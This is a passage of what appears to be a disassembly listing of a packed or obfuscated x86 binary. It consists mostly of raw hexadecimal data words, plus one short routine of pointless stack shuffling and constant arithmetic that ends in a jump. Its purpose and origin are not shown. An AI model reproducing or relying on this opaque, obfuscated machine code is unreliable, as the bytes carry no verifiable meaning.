0BF86F29Ah, 3476BD79h, 3CBCEE30h, 0BF44B058h, 0F234BD79h dd 2A34EBE8h, 8BFB17FFh, 0BD79BF19h, 0C149ADEFh, 0BD79BF57h dd 4155E325h, 8E21BD55h, 0D97FBF65h, 0EC0D9629h, 0E1701C1Eh dd 0B3C74C8Ah, 0C5EEBD1Bh, 4D8FF305h, 65C05A73h, 879659F1h dd 4284CD7Bh, 0A589FB91h, 798FA953h, 0FA138132h, 0AAA8FCB5h dd 4E0C7FA1h, 33FE8885h, 43C3CFC3h, 0A953A5D1h, 276375A7h dd 0D36690C4h, 8808F032h, 44763B70h, 0E0F86CB6h, 160206CBh dd 20D70276h, 0CE2FAA3h, 0DA15627Fh, 236F893Fh, 505BB0C5h dd 0B5A167A3h, 23BBBA1Dh, 66BC3E8Ch, 1AB2CF59h, 0A320E8AEh dd 0D3D869Eh, 6AB1CF9h, 7A1206C4h, 0D915EE2Fh, 5666ABDDh dd 0A535EAEEh, 62850DFBh, 0E0FC8849h, 61FBFDCBh, 0EED9E858h dd 0F035087h, 35E20D77h, 8DF78FA5h, 7BA535E2h, 0F1073949h dd 3D9Fh, 48D27400h, 0EAD179DDh, 0D83EA1BDh, 6272B2A6h dd 7FCEACB6h, 253320BAh, 0DB5D4EADh, 78A9C92Fh, 6D76D4BDh dd 16E3F999h, 78A90276h, 2C8FABDh, 9BDFF9D1h, 48CAB16Ch dd 0B532h, 6177E300h, 0D6FB894Ah, 27C54DC9h, 675D7684h dd 0EBD91A91h, 0D4449E0Dh, 0E8DC48C0h, 44AC4494h, 0D1C107A4h dd 226A703Bh, 4494E557h, 555EE939h, 0F53FB7BEh, 83CAE1CDh dd 0CA508BC6h, 0A3FDAE4Ah, 0CB43304Ah, 78527F2Ch, 6BC680F4h dd 844678BBh dd 6996F494h, 5092C15Fh, 8A64ECE8h, 0C0EEC25h, 4C366988h dd 0E5E6B918h, 77111FDAh, 4BC5C4EFh, 24000003h, 8BF7E9C6h dd 2F633D72h, 80F4CEDDh, 335F416Eh, 0BFEFD1CEh, 7B24CD4Fh dd 317A5D05h, 0E3C8234Fh, 387395FDh, 0FC8C744Ah, 428C5388h dd 773A8380h, 0C5D1455Ah, 94E8D345h, 6177A944h, 0F6B5533Fh dd 6177198Ch, 5F7F894Ah, 0E54DDE1Bh, 68BD6542h, 4E7A5C04h dd 50A8ECEEh, 4FF7DB5Bh, 4494ECE5h, 2B805BD3h, 44D614E6h dd 439A3ADEh, 0C553A76Ch, 4A61778Eh, 0D642CACEh, 0A64494E8h dd 119E7064h, 0C3102AE0h, 0E7437D1h, 8C8CA7C1h, 34C6E904h dd 0F651E464h, 0F5273EA1h, 258C0BCh, 0E545BD78h, 65D6CDCh dd 420148CAh, 0D2000000h, 79DD48D2h, 0A1BDEAD1h, 6DA6D83Eh dd 0B86DC3DBh, 5E69143h, 3F2197F3h, 0D83CBD78h, 36D5A038h dd 4C7E3C75h, 0B32330AEh, 48CA2704h, 1AE40D0h, 8EFEFAD0h dd 0BD78331Ah, 0E82AB0F2h, 0FCh, 4A61779Dh, 0C9D6FB89h dd 4F5C7C08h, 0C01EB6A2h, 0F208C2EFh, 0F16546A2h, 0B405D8B1h dd 49CF61A9h, 94D0A3D7h, 0D2364494h, 84359F27h, 0C1034494h dd 8443B555h, 7394494h, 55B3DFC1h, 0DDD22CA4h, 94847BEDh dd 0D90F5144h, 0FED9795Dh, 844BBDADh, 0B6514494h, 9D3B6DF5h dd 46E17BB4h, 0B5FF3AD2h, 45AD3EA1h, 51C5039Ch, 0D353C545h dd 6C89BD79h, 92827054h, 0C0B4F66Eh, 7753802Bh, 94AE3F61h dd 5B2D9D99h, 0B1C74DCDh, 0EA07876Fh, 0B31BCBB5h, 0ECC31B4Eh dd 315F51Eh, 3C2D728Fh, 70FF7D15h, 0B7605942h, 0B8000001h dd 3F338D22h, 0F39F01AEh, 44309219h, 0E79B05AAh, 732B950Ah dd 0B7E80983h, 6D3E99C9h, 1F8C5F13h, 7437D1C1h, 30D8C00Eh dd 428C55C4h, 0FB8EB7B4h, 0E8056F17h, 0B1F34494h, 0E853C545h dd 0F7294494h, 4F50B1E1h, 0F9918571h, 4494E88Fh, 65AD4B7Dh dd 0BBA2883h, 79DD48D2h, 0A1BDEAD1h, 9B70D83Eh, 1DF1E310h dd 61925892h, 783CF56Bh, 8C04F0BDh, 943D72h, 0B713C0EBh dd 6C75E7F1h, 0CA24CDFCh, 0B19148h, 91850000h, 78308FF9h dd 0AD4B7DBDh, 4A6177A6h, 0C9D6FB89h, 74140008h, 4494E800h dd 0D834C6F8h, 4494E58Dh, 643E6D8Bh, 1ED3D830h, 68379A3Ah dd 0A8839DD2h, 259D18B0h, 598BC15Eh, 138C75DDh, 940E2CDEh dd 9F0CEC64h, 1DD6D533h, 8125BDDh, 0A691391Dh, 94C74C8Ch dd 836EE652h, 13BEA61Ch, 0BCFCFF8Ch, 0FE2970FEh, 0C58Bh dd 5F50AA00h, 0B3FC1181h, 6447A5CDh, 0B7F8167Eh, 673899C9h dd 3BD14579h, 0EB970996h, 51419F0Ch, 0E38FF1BAh, 0A23CA605h dd 56FA6EDEh, 0D5D2428Ch, 455A77A8h, 28D1275Bh, 94E834A0h dd 0D2C20444h, 8A40713Ah, 77736240h, 0FB894A61h, 0DBF4CEDDh dd 0DA72E641h, 3EAD5B00h, 7F15BE00h, 0B8604269h, 50EAC518h dd 4A8724C4h, 4C56ED32h, 854EECD2h, 2E0CB2Dh, 7C357692h dd 0C4E7048Ch, 0F51DBB0Fh, 675D9619h, 3BD91A91h, 4A0DFFB3h dd 0F8148035h, 0DB83FEB3h, 26923A0Eh, 168458F8h, 0D17D16D4h dd 5358B008h, 19866BE3h, 8A1822D8h, 4ADFEDAh, 1185h, 93FB4C00h dd 12DB4F7Ah, 0B68B546Dh, 0ED0BBFF4h, 6377476Eh, 0DBFD874Ch dd 5AB123D0h, 0D334A051h, 48A91BD8h, 0C72A9A57h, 55A91BD8h dd 0D12B995Ah, 52AB19DAh, 5252B45Dh, 0C281E289h, 4, 8704EA83h dd 248B2414h, 4E4D6824h, 34890000h, 0E2895224h, 4C281h dd 0EA830000h, 24148704h, 243C895Ch, 1D88BA52h, 0EA816C5Ah dd 664169B3h, 685AD689h, 0C6Fh, 83242489h, 5F042404h, 4EC81h dd 34890000h, 242C8124h, 21124B7Eh, 8108478Fh, 4B7E0847h dd 3C8B2112h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h dd 24348B5Ch, 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch dd 0FFFB87DCh, 1DB8C75Ah, 30618BFh, 90E0FFC5h, 436E5A01h dd 505EA8AAh, 0EC31EC72h, 0DF1324C5h, 681C0EA2h, 0D366C31Eh dd 0A31D28A2h, 8E2A8571h, 0AC614CCCh, 9A4ADA8Fh, 0AB555427h dd 0A5EB86Ch, 0E949B050h, 0Eh, 2F56FE50h, 7C809E01h, 0 dd 11E90000h, 6800000Eh, 618C195h, 0FAC153E9h, 0C2F868FFh dd 49E90618h, 68FFFAC1h, 618C44Ch, 0FAC13FE9h, 0C58F68FFh dd 35E90618h, 68FFFAC1h, 618C710h, 0FAC12BE9h, 0C9EC68FFh dd 21E90618h, 68FFFAC1h, 618CB0Bh, 0FAC117E9h, 0CC5E68FFh dd 0DE90618h, 12FFFAC1h, 0E3492C4h, 0E3492BCh, 103290BAh dd 0F3191BFh, 13492C2h, 0E470BD2Eh, 0FE54E4C6h, 0E365FAE0h dd 4CDDC3h, 47B699A2h, 16B674CBh, 0BDE17D94h, 6D51E06Ch dd 565270DCh, 7B5C7B0Bh, 0B4AD295Ch, 77E6109Dh, 109DB51Bh dd 7392A1E4h, 0A2DF1A69h, 5F68168Eh, 9DE76Bh, 0A52308E8h dd 458389E5h, 0D7F44524h, 58E961F3h, 0F250AF39h, 490A8A8Dh dd 0BA98280Ah, 3963D832h, 5AAD3F7Bh, 48E3h, 0BEA37700h dd 75C7EBC8h, 0EE4284D5h, 0ED8C0D5Ch, 8687F6E3h, 57168E98h dd 1B3AE970h, 3FAE045Ah, 0A8A90E3h, 690869ACh, 0A9DCFBD8h dd 0A8A912Dh, 0ED7ACE61h, 61E120A8h, 0B80A8A91h, 0C18FBD4Eh dd 695AAD36h, 0D8h, 0E06CBDCDh, 77FADCC3h, 7E975C22h, 86D3F776h dd 0C796BE0Bh, 34162746h, 260CABA1h, 0B332BA94h, 0B10E3E8Fh dd 0C4634086h, 57EA542Dh, 0A23294F5h, 0BB2A28B0h, 109DEE2Ah dd 0F9D973C6h, 77C686D7h, 79563039h, 8EF30104h, 1BBBDA16h dd 0E3C0C61Bh, 75498F72h, 86256810h, 0B3857EA9h, 7B764B7Bh dd 82D25F71h, 0E2AFFE24h, 0EB9EFF51h, 79FAFD2Fh, 0D484C168h dd 5200000Bh, 4E745204h, 4E7452FCh, 507250FAh, 4F7151FFh dd 41745202h, 24307DEEh, 3E14A486h, 2325BAA0h, 400C9D83h dd 7765962h, 16B6758Bh, 0C2213D54h, 9E0776DDh, 909B6065h dd 0D55D42A9h, 0B81243C6h, 81109DBEh, 86567D1Ch, 11308A48h dd 0A9381AA2h, 32230CABh, 59F8CE41h, 0E6CC0AD2h, 7FD9F953h dd 0DB0ABEA3h, 109DB57Fh, 0A0B20248h, 70117091h, 98232253h dd 0CBF4168Eh, 0D1C03454h, 0D96809E8h, 8A6D2AA8h, 7405810Ah dd 1571E4C3h, 0DE0A8A6Dh, 0EFAD35BFh, 575AAD52h, 109h dd 5FF14268h, 9B458F0Eh, 51E06CBDh, 94B6E06Dh, 0DB3A0B41h dd 9DB530AAh, 7CD26410h, 0C09FACEDh, 9DB4D14Dh, 1A7B9A10h dd 547B5C7Bh, 0E675F09Bh, 1975E428h, 0E2109DDDh, 8DCA19A3h dd 87D17A5h, 109DDC8Eh, 6573657h, 1FCE3D87h, 0BB109DD9h dd 95F1642Ah, 5E109DD7h, 5F805E3Fh, 0E14E1F78h, 40885C52h dd 11CBBB0Eh, 77F5FB4Fh, 96B584E5h, 4EA1BEB1h, 4993BB37h dd 3592F4EDh, 8F60BDC0h, 58779616h, 4D8C0677h, 90C50A8Bh dd 0A8B4E36h, 4CD19EFFh, 0F5A5684h, 11255877h, 0A1075ACh dd 0A73E98CDh, 86070475h, 53E2C8E7h, 9B84A101h, 7001B817h dd 7C5E66E8h, 52F267EDh, 7779FA4Eh, 0A7195B0h, 29B50000h dd 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h, 8DA29131h dd 2383D160h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah, 68E2133Ch dd 3116B677h, 70BD46F8h, 0C6E9C6E4h, 9DB53B97h, 37810410h dd 2A88C415h, 0E06CBD90h, 70DC6D51h, 7B0B5652h, 0A3E4295Ch dd 1A3D168Eh, 8A9D6FEBh, 0B4D5380Ah, 0C681A6A5h, 8D9D561Eh dd 754E9B63h, 85E46EE6h, 0A74DCC3Bh, 6AA40A8Ah, 14EDABD1h dd 0CB555AADh, 66000006h, 4696EF44h, 0BDDC3D0Ch, 0BEA3A933h dd 0C998B405h, 0AD8A2948h, 0D11B3785h, 8EA1D732h, 0EC7DA016h dd 8AA03D9Dh, 81FA940Ah, 0AD0D9D5Bh, 698455Ah, 0A3190000h dd 7AEBC8BEh, 168EA363h, 440E9EA4h, 9E9CF667h, 20650A8Ah dd 181F041h, 580A8A9Fh, 0A16F9D2Eh, 95AAD0Ch, 66Eh, 0D5DFB92Dh dd 0ECF460EDh, 0CEED99D0h, 0A1345DECh, 1A7BCAABh, 1626FEB5h dd 0E7F184E5h, 71FA7BEAh, 8A0B168Fh, 584DE469h, 4A9F9676h dd 2DBB9F3Ch, 0EBF51425h, 368A7FEEh, 2838467h, 202C7DA5h dd 79E8F011h, 4360263Bh, 62EC3E64h, 0DB2AB2D3h, 7E540E26h dd 262EBB9Fh, 3897F617h, 0AEA63317h, 64767E9Fh, 755B7BD1h dd 55F568E4h, 66E7D55Bh, 91D8AC7h, 0BD090000h, 0C7173999h dd 0AF012787h, 0C6153B9Bh, 0B7062C8Ah, 210E3D9Dh, 0F7D77DCCh dd 0EFCF83D1h, 0F4D276C9h, 0F1D17BCEh, 1C76E7E8h, 0E516B679h dd 6CBD92ACh, 4D7251E0h, 4E8AD20h, 0B602CA31h, 89FCDBABh dd 16857BFFh, 0D201A1E4h, 0A8565A4h, 2537543h, 332C6C4Ah dd 76173D8Ch, 6EE27159h, 0E56DFBDFh, 8C543554h, 64CC1E4Fh dd 3D850A85h, 320362EEh, 0B4A02D15h, 3E12A1A5h, 458FEE2Fh dd 0F2C4C213h, 838C2AF8h, 0D362EA7Bh, 14B2D3B2h, 84FE71E1h dd 0D5AD920Ah, 0ECC53BDCh, 3689CB15h, 3B8EB412h, 51B14011h dd 8EE94A39h, 0FFE08704h, 85B9148Eh, 30B8DD0Ah, 0E1C18B1Eh dd 8FDE6EBFh, 85A8A0FEh, 0C78DDC0Ah, 4B015476h, 0D13D5FAh dd 248CBE09h, 8B7A0F83h, 943EBB35h, 86AC0B41h, 0B42E5F37h dd 7D0A8574h, 0A9E87918h, 2816311Fh, 0BC000001h, 96A5DDC2h dd 0C28A106Bh, 0C785D8FAh, 8BFF5476h, 9C1F64A4h, 8AFB50CBh dd 109E8510h, 84D5B4D9h, 9E8499F5h, 80F5D210h, 109E8506h dd 45694ECFh, 145CC396h, 0D164767Eh, 93CEEA7Bh, 17A1D4F3h dd 0FC1685D4h, 1F10E499h, 9E4D800Bh, 7DAC3h, 58FE4C00h dd 4806587Ah, 56F4486Ah, 4F015278h, 58FC496Fh, 87E44B7Ah dd 96BC1A3Ah, 8CAE0C46h, 8FB11137h, 0A3B00E3Eh, 79CD49BCh dd 839616B6h, 1D6CBDDFh, 1273C28Eh, 0DA6E5473h, 0FEA0E170h dd 7495A4AEh, 8CD9FD6Ch, 73C8EAC8h, 82D3F5D5h, 77C6ECCAh dd 0FB4A8CDDh, 0B4F06A9Bh, 54B9109Dh, 0E170E272h, 8A70C1A0h dd 79D5654Dh, 0E51FA9E8h, 450F9E54h, 0EA0FCD65h, 7B7A341h dd 8B000000h, 8CC4h, 6CBD6A00h, 0A22051E0h, 0EC109DA4h dd 7C5E0982h, 7A5C64EAh, 644665E7h, 66747CD2h, 859EF44h dd 0CC1EE4CBh, 0D6630CF6h, 0AF1E7F0Eh, 3A54109Dh, 0A53416C1h dd 0B9B99EAFh, 80A45727h, 0DA6B4F2Eh, 1AA2E372h, 5A5A338h dd 7CD60728h, 45109CC5h, 0BD5EF8C0h, 508FDE6Ah, 0B4A4FE6Fh dd 286D109Dh, 2F19AEA0h, 61DA781Eh, 8D2A1EB1h, 0B4DF3BAAh dd 65A8109Dh, 2B0E7D5Bh, 0F2109DBCh, 0BE11995Ah, 0FEA6415Ch dd 0C415FFFFh, 3A6h, 0E06CBD6Ah, 1571E4C3h, 0DE109DB5h dd 0B5128C01h, 0BADB109Dh, 235211DBh, 109DB4B3h, 8517409Dh dd 4B1C8780h, 0F794FEC6h, 7452FA4Bh, 7251FB4Eh, 0C087584Dh dd 559FE727h, 0AEF76796h, 0C213109Eh, 89D878C7h, 6D4A6908h dd 9EAE9EF8h, 9E266710h, 8EF8F14Fh, 654BC31h, 86A91686h dd 85EEFB57h, 7741C40Ah, 0ECB6ABEAh, 15800B50h, 6597B56h dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h dd 50CA3B24h, 1916B67Ch, 0E5C25E00h, 9DB51670h, 36BEDF10h dd 0AABB9124h, 9C3B19A8h, 162721B6h, 0C9EFEDF7h, 0D3F7D478h dd 5DECCE86h, 0C9EFEDF7h, 4589D87Ch, 50D5CF8h, 0F544EE8Bh dd 15E37F5Fh, 0F7A341E6h, 0D10684D3h, 3E2A3761h, 940BD5B4h dd 2BAh, 83DDC2AAh, 0B66D8988h, 57F487ABh, 162C970h, 1E647BB7h dd 54EBE4Fh, 3DC9EE74h, 5DD0A0CCh, 95B2A250h, 0AF67E660h dd 3DB0AF11h, 11AF67E1h, 0C20A6BAAh, 2815Bh, 7567C00h dd 78193B8Ah, 0BCA3E670h, 42BEE9C6h, 3BCBD6F6h, 2B4A0054h dd 0AF93B4A1h, 0E0213020h, 0DA2DA9D8h, 4166109Dh, 0B181DA93h dd 4E9B252Ah, 7D0F7ECFh, 0F8EE73ECh, 1CFFD8Eh dd 0A9A25045h, 23Eh, 0C6BCA38Dh, 0B51E74E9h, 0BEDF109Dh dd 4AEE5EAFh, 0FB4EEE73h, 6CBE0051h, 0DD6BC0E2h, 0A516588Ch dd 6CDD29B0h, 94997BBh, 0E75917BFh, 0B01A250h, 55000002h dd 57F7DDC2h, 9343471Dh, 0CDF2ED49h, 14B3D27Eh, 9DFF6DE1h dd 0C8E72610h, 0B80052E2h, 9568D829h, 0A7E3EE73h, 0AA2AEA12h dd 0E3CCA250h, 9A797A9Fh, 2178407Ch, 1D2h, 4CE0C235h, 97A6AE3Bh dd 4461776h, 0F1FB9AB0h, 0E1FE4EDFh, 92236AF9h, 0B6AABBAh dd 8D2022C1h, 543720BFh, 8D9B8FBh, 9D99B701h, 3A654244h dd 523661CAh, 67747CC8h, 7DCF6248h, 66D91473h, 0F0D2168Fh dd 3A802A5Eh, 8957598Ch, 0B03859E8h, 65E11433h, 990A8B2Fh dd 0D538074Bh, 0F654A5B4h, 4D0A8B2Eh, 62BC310Eh, 2B0A8B2Fh dd 0D9B89827h, 61B1A3F2h, 0BF09B9D5h, 0C888B445h, 705AAC01h dd 52h, 5BEA3C6h, 57DAD1B3h, 0B1D51D2Ah, 2D12B1D0h, 800D2507h dd 59864E67h, 8F8D2524h, 0B3416616h, 7AA3613Fh, 60ED9037h dd 36089C1Fh, 0EF1E41AEh, 0A8AC973h, 0A9B8D93Ch, 8AC8FA58h dd 44B5510Ah, 0ACFE5818h, 0EA005Ah, 0EFD30000h, 2061F060h dd 6CBD3E98h, 0B557B322h, 0FD20109Dh, 3C89CD9Ch, 250A4918h dd 0D17A1BA2h, 0D99E0527h, 27322F4Bh, 9F3224ACh, 98BF9CADh dd 0A19EBE7Eh, 66E87A03h, 0DD7B6D7h, 0BE0F7ACBh, 0DD1C3BC8h dd 0A8C921FDh, 92C5EAC9h, 5FC08A98h, 598CCA12h, 109E2DC8h dd 97EE4169h, 5C640545h, 36A7E77Ah, 109E2CDCh, 124360A5h dd 109E2CB8h, 5D7D1C81h, 617E0861h, 888A982Ch, 8A1D0516h dd 666EAFBEh, 3278409h, 1F409EB6h, 0B7DEAC3Bh, 0ACBB4D06h dd 5C7E4627h, 0FA54890Dh, 0C30A87E4h, 7E2E2342h, 93800D46h dd 37DF9D4h, 1DA90000h, 27B79939h, 0FA18727h, 26B59B3Bh dd 17A68C2Ah, 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h dd 5171DB6Eh, 0BC164788h, 8516B67Dh, 70BD320Ch, 51E4C6E4h dd 0D8FADBFBh, 55FFC987h, 51E06CBDh, 5270DC6Dh, 9DB4A223h dd 0E99DC410h, 0AC129BCAh, 0D233168Eh, 6CBD56F4h, 0DC6D51E0h dd 0B565270h, 0E2765C7Bh, 30B8D968h, 0A377B223h, 9D00168Eh dd 9EDD3DCCh, 0DA340A8Ah, 0C7D3B61h, 2FE55AADh, 79000000h dd 0EBC8BEA3h, 8E989B7Ah, 18296C16h, 8A8969E9h, 0AF93C00Ah dd 69A32D1Dh, 3EECACD0h, 0D4545AADh, 67000000h, 0D5CF443h dd 0B4962A8Ch, 6CBDB22Ch, 4D7251E0h, 88371DD1h, 488A52EFh dd 0C80A5BF9h, 4486D775h, 87B5BF1h, 109E2159h, 0CBE864F5h dd 0F13D17E4h, 0D51FF1ABh, 3184A687h, 1CB4A1Bh, 7FCE7ECFh dd 815E2841h, 8EB4A10Ch, 0ECCB4A16h, 0B2409ACBh, 84090A8Ah dd 0C7221E3Ch, 51ED20BFh, 5A10751Bh, 27B69C3Bh, 1EAB8D2Dh dd 6A534336h, 0D59479FAh, 25EF8h, 0DC7AC800h, 0C48ADCFEh dd 0DA70C4E6h, 0CB85D6FCh, 0DC78C5EBh, 0B60CFFEh, 123896BEh dd 103290C2h, 0B2D8DBBh, 273492BAh, 8059B528h, 0EF2216B6h dd 1E70BD53h, 942728F0h, 3F64A5B4h, 7655DF7Dh, 9DF18B07h dd 50315410h, 4FFD5072h, 0FF7E4770h, 4B1A3685h, 0BE25E5CAh dd 60014BDEh, 0A3E07A58h, 7AEBC8BEh, 168E989Bh, 2966F6DCh dd 67A6B79Bh, 2931BE06h, 62A3B296h, 0F5EEC40h, 2F5EEF8Eh dd 0A8A88AFh, 9D2D58EBh, 61A0B1h, 0C8BA0D31h, 0AEF5BD13h dd 0FC4D2C55h, 5342B7DBh, 0D7654D8Ah, 442523B8h, 26CDF25Fh dd 6B755069h, 0DBFFA821h, 4E70C189h, 850455FFh, 0B484DCE4h dd 1C5AAD26h, 0DAh, 0EFD698BFh, 92A3A739h, 0D4A74C73h dd 808A0479h, 32530A8Ah, 57B66C53h, 1BEDBF5Eh, 6CBD07D1h dd 0E06D51E0h, 0C4E6E574h, 0A8BDA70h, 0B09243C2h, 9B2E109Dh dd 9E2F11B1h, 48A19FAEh, 0A1BEA13Eh, 9DAFF26Ch, 925ABB10h dd 8E80A6F3h, 0BA0B4F16h, 2342C392h, 655E8383h, 0EAE0B2D4h dd 3CFD8E3Ch, 0EC8D0C5Dh, 0F1C39ECFh, 98C1074h, 5D3988AAh dd 74EDAE28h, 77167704h, 0ADE47157h, 1E20311Dh, 0C1A0C18Bh dd 0FA4FB08Ch, 134EDD79h, 10Bh, 2787CF1Bh, 3D9DB101h, 2181C91Bh dd 2A0B0FFh, 0E3C39120h, 0BF0E7FB0h, 0C5133595h, 0B80B2D8Dh dd 0BD103290h, 3D222F8Fh, 0B6814EC8h, 60021716h, 0C6E470BDh dd 0DCFB51E4h, 0B5108AFBh, 0BC41109Dh, 85644CB4h, 18A0E572h dd 6CBDA03Ah, 557251E0h, 9DB4A620h, 0A62E6F10h, 0D36821B4h dd 98B71475h, 9DB4E965h, 0C28E1D10h, 0DBC44A75h, 0DFC1E750h dd 0E82836BEh, 0CDBDBF01h, 2C7CD74Fh, 61A0B197h, 65426100h dd 44B71342h, 5A80109Eh, 98F9480Ah, 2C50D2F9h, 0F2F3E4CCh dd 0B52D9BEAh, 0FB1A1685h, 77D5686Ah, 6CE07157h, 0FAB684Fh dd 9A932C6Dh, 9629352h, 8A33BB0Fh, 6EBF7308h, 87DA00DEh dd 735774C5h, 0DE38ADE3h, 0A7E1370Eh, 16A30766h, 13A4B63Eh dd 0B6382C3Dh, 4D3C8D45h, 902E4FFBh, 1BAA90AFh, 0ECE4839h dd 7697E137h, 73D96C6Eh, 1EBE6B54h, 37CFA34Ah, 0C233EADh dd 0BF000000h, 392CDDC2h, 6B9C8D4h, 0BD885ABEh, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 47DEh mov [esp], edi push 21FBh mov [esp], ecx push ecx mov ecx, 73E07B0Dh mov edi, 79F93B62h add edi, 219C4080h sub edi, ecx sub edi, 219C4080h pop ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi pop dword ptr [ecx+8] mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- dd 0AC7B893Ch, 18CD8EB8h, 0FFC50306h, 0C51D1BE0h, 0FAAB0129h dd 0D09F0313h, 7298FA1Dh, 49846357h, 568C0E07h, 0F89D3E3Fh dd 1E3D03Dh, 4A90013h, 4B8BB270h, 73727D73h, 358C1C58h dd 0DE7EA2Bh, 62B9C00h, 5495180Bh, 0B328A97Bh, 6267F35Fh dd 0AC6D5F74h, 7B6D9B16h, 2CDE704h, 7C32BC78h, 0E516FB2Bh dd 0AF8D8D21h, 6A0618CFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 553AC351h, 0F1CA37D5h dd 280C2241h, 0EE8h, 98D8EB00h, 0D12B9D27h, 6D87557Ch dd 29EC09D9h, 1314BDBDh, 12E95F06h, 83000000h, 5DE0FB87h dd 85689186h, 0DA7E90EDh, 9E8F6B4Ch, 0BD8D898Ah, 6A06131Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 3CB6C351h, 6C910249h, 0E8E6535Ch, 11h, 6CFA22EFh dd 0D826DCFFh, 48E619CDh, 23118594h, 85C75F96h, 61318DDh dd 6314h, 5BD9533h, 85C70613h, 6133055h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EDC35646h dd 35B7EF97h, 95892953h, 6130F59h, 0FFD3B70Fh, 132331B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 19419603h, 0CAAA1B62h, 1D8995FFh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F96D2C3h, 6AF1BFh, 0DA995FFh, 0C08B0613h, 372D7EEBh dd 2B665812h, 32094700h, 59F66EDEh, 2A3C6992h, 0DA9F3DF6h dd 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 0A25EBC9Ch, 38BB5662h dd 6DD7FCCAh, 6AECED29h, 93D43DBDh, 0B70F9177h, 3A294055h dd 2709821Bh, 38542EB4h, 1B81213Dh, 7FFFC583h, 5D5A3E38h dd 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh, 50369DA8h dd 89B17D99h, 0FC86FE46h, 80C6F273h, 0C9CCCEDBh, 36B25B43h dd 64432DFh, 3DE9h, 7A746800h, 12h, 0C51C5700h, 6148434Ah dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h dd 0F4C7009Dh, 6063921Dh, 0DE19h, 3 dup(0) dd 6EE90000h, 6800000Ah, 618D18Bh, 0FAB0DFE9h, 0D2EF68FFh dd 0D5E90618h, 68FFFAB0h, 618D3D8h, 0FAB0CBE9h, 0D48768FFh dd 0C1E90618h, 68FFFAB0h, 618D546h, 0FAB0B7E9h, 0D5EE68FFh dd 0ADE90618h, 68FFFAB0h, 618D694h, 0FAB0A3E9h, 0D87168FFh dd 99E90618h, 68FFFAB0h, 618D95Ch, 0FAB08FE9h, 144290FFh dd 0C4294B6h, 12388CAEh, 133D8EB4h, 14408DB3h, 43A887B6h dd 5A805EF6h, 486A480Ah, 537555F3h, 5F6C4A02h, 84910D80h dd 475A16B6h, 0C8BEA31Bh, 65787AEBh, 0D6011685h, 420FB209h dd 0CE3F9C63h, 0A857354h, 73F0F81Dh, 3C8DB512h, 0AA95B210h dd 0BED67C2Ah, 8EC00872h, 0E440113Bh, 0BB2A89FDh, 106CFF98h dd 66E2755Dh, 7EBA1449h, 283046Ch, 0CBE82DBAh, 0C53856E7h dd 46C7F49h, 3492F312h, 0C091BB0Eh, 674B7D64h, 8A0475D5h dd 53046C7Eh, 0C6DDD6Fh, 49714E6Dh, 820352F6h, 5F8ECB3Ah dd 63470A5Dh, 0F6737DD5h, 0B0ECE297h, 6EFD73DEh, 8A473h dd 5CFA4800h, 440A5C7Eh, 5AF04466h, 4B05567Ch, 5CF8456Bh dd 8BE04F7Eh, 92B8163Eh, 90B21042h, 8BAD0D3Bh, 0A7B4123Ah dd 85D935A8h, 6FA216B6h, 1D6CBDD3h, 1071C08Ch, 4BDEE071h dd 7C65A101h, 3885AD0Ah, 4CC4D1Ch, 0A34BA6D7h, 0B1D4168Eh dd 9EF151A0h, 9F2D0A8Ah, 9F0680F5h, 4ECF0A8Ah, 0AC3C1E2Fh dd 9F1975E8h, 0A3E20A8Ah, 0FD8B73C2h, 0B650998Ch, 21B09245h dd 6331A933h, 0CB5AAD0Ch, 64h, 0C8BEA36Fh, 989B7AEBh, 666C168Eh dd 0B91677D1h, 0F598B196h, 0D3810B68h, 8A8128A2h, 0FACF10Ah dd 8A8184DEh, 0C84D0Ah, 10456261h, 0A8A80B6h, 81247EEFh dd 0A8ED0A8Ah, 2424B79Bh, 4B95F415h, 8A815EBCh, 0E059B50Ah dd 0AD26FCBCh, 0D7645Ah, 58770000h, 8A74A925h, 0AC13720Ah dd 0FC3D74D3h, 5802CAD2h, 51E06CBDh, 0E574E06Dh, 0B63650E1h dd 80CC5DCEh, 0CD55FD1Bh, 28B99DACh, 0F2578624h, 3B109EAEh dd 0A86DE91Ch, 0D736109Eh, 6D4A9BF0h, 9C2401B6h, 852527BAh dd 2B3A12A3h, 15B2D40Dh, 7D7C8F2Ah, 23ADCD21h, 0BEC2C736h dd 7A9B168Eh, 81055C5Ch, 0B3220522h, 0A8AAC57h, 94F3FD20h dd 107515B1h, 86AC0B8Ah, 9BBD1D37h, 8B33404Eh, 213CA5E5h dd 0E9E70D40h, 852479FAh, 74048h, 381EAC00h, 2826B89Ah dd 3614A88Ah, 2F21B298h, 381CA98Fh, 6784AB9Ah, 765C7ADAh dd 6C4E6CE6h, 6F5171D7h, 83506EDEh, 86AD295Ch, 237616B6h dd 2670BD3Fh, 9DB55BB7h, 12C48C10h, 11C0C14Ch, 4A2C342h dd 0E1C18B1Eh, 